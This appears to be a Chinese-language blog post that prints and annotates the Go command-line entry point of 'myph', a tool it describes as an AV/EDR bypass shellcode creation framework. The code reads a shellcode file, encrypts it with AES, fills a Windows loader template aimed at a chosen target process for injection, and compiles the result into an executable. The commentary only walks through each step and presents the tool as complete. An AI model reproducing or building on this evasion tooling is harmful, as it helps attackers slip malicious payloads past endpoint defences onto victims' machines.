Go 语言命令行工具:创建和加密 Shellcode,实现 AV/EDR 绕过
该代码是一个命令行界面的程序,用于创建和加密 shellcode,以及进行 AV/EDR 绕过。代码分为两个部分,第一个部分是导入所需的包,第二个部分是定义一个 GetParser 函数来返回一个 cobra.Command 结构体,该结构体包含了可执行的命令。
package cli
import (
"fmt"
"github.com/cmepw/myph/loader" // 加载 shellcode 的包
"github.com/spf13/cobra" // 命令行库
"os"
)
func GetParser(opts *Options) *cobra.Command { // 函数 GetParser 返回一个命令行结构体
version := "0.0.1"
var cmd = &cobra.Command{ // 初始化一个命令行结构体
Use: "myph", // 命令行的名称
Version: version, // 版本号
DisableSuggestions: true, // 禁用命令行建议
Short: "AV bypass shellcode creation framework", // 命令行简短介绍
Long: `CLI to prepare your shellcode and do AV/EDR bypass`, // 命令行详细介绍
Run: func(cmd *cobra.Command, args []string) { // 命令行执行的函数
if opts.ShellcodePath == "" { // 如果没有指定 shellcode 的路径
fmt.Println("[!] Please specify your shellcode's path with --shellcode")
os.Exit(1)
}
plaintext_payload, err := loader.ReadFile(opts.ShellcodePath) // 读取 shellcode
if err != nil {
fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
os.Exit(1)
}
fmt.Println("[+] Successfully read shellcode")
payload, err := loader.Encrypt(opts.AesKey, plaintext_payload) // 加密 shellcode
if err != nil {
fmt.Println(err.Error())
os.Exit(1)
}
os.Setenv("GOOS", opts.OS) // 设置编译环境
os.Setenv("GOARCH", opts.arch)
s := loader.Shellcode{ // 定义一个 Shellcode 结构体
Payload: payload, // 加密后的 shellcode
Filename: opts.Outfile, // 输出文件名
AesKey: []byte(opts.AesKey), // AES 密钥
Target: opts.Target, // 目标进程
}
fmt.Println("[+] Encrypted shellcode with AES key")
toCompile := loader.LoadWindowsTemplate(s) // 加载 Windows 模板
err = loader.WriteToTempfile(toCompile) // 写入到临时文件
if err != nil {
fmt.Printf("Write error: %s\n", err.Error())
os.Exit(1)
}
fmt.Println("[+] loaded Windows template")
/* run compilation */
loader.Compile(s) // 编译 shellcode
},
}
defaults := GetDefaultCLIOptions() // 获取默认的 CLI 选项
cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath") // 定义输出文件路径
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path") // 定义 shellcode 路径
cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption") // 定义 AES 密钥
cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target") // 定义编译目标架构
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target") // 定义编译目标 OS
cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection") // 定义目标进程
return cmd // 返回命令行结构体
}
该代码使用了以下库:
- loader:用于加载、加密和编译 shellcode。
- cobra:用于构建命令行界面。
功能说明:
- 读取 shellcode 文件:从指定路径读取 shellcode 文件内容。
- 加密 shellcode:使用 AES 算法对 shellcode 进行加密。
- 设置编译环境:设置编译目标操作系统和架构。
- 加载 Windows 模板:加载预定义的 Windows 模板,用于生成最终的 shellcode 文件。
- 写入临时文件:将生成的 shellcode 文件写入临时文件。
- 编译 shellcode:编译 shellcode 文件,生成可执行文件。
代码分析:
- GetParser 函数:
- 返回一个 cobra.Command 结构体,该结构体包含了命令行的配置信息和执行逻辑。
- 定义命令行的名称、版本号、简短介绍、详细介绍等信息。
- 定义一个 Run 函数,该函数会在命令执行时被调用。
- Run 函数:
- 检查是否指定了 shellcode 的路径。
- 读取 shellcode 文件内容。
- 加密 shellcode。
- 设置编译环境。
- 加载 Windows 模板。
- 写入临时文件。
- 编译 shellcode。
- 命令行参数:
- 定义了几个命令行参数,用于指定 shellcode 的路径、AES 密钥、编译目标操作系统和架构、目标进程等信息。
总结:
该代码提供了一个完整的命令行工具,用于创建和加密 shellcode,并实现 AV/EDR 绕过。代码使用 Cobra 库构建命令行界面,并借助 loader 包进行 Shellcode 加载、加密和编译。代码中还包含了详细的注释,方便开发者理解代码的功能和逻辑。
原文地址: https://www.cveoy.top/t/topic/lXs6 著作权归作者所有。请勿转载和采集!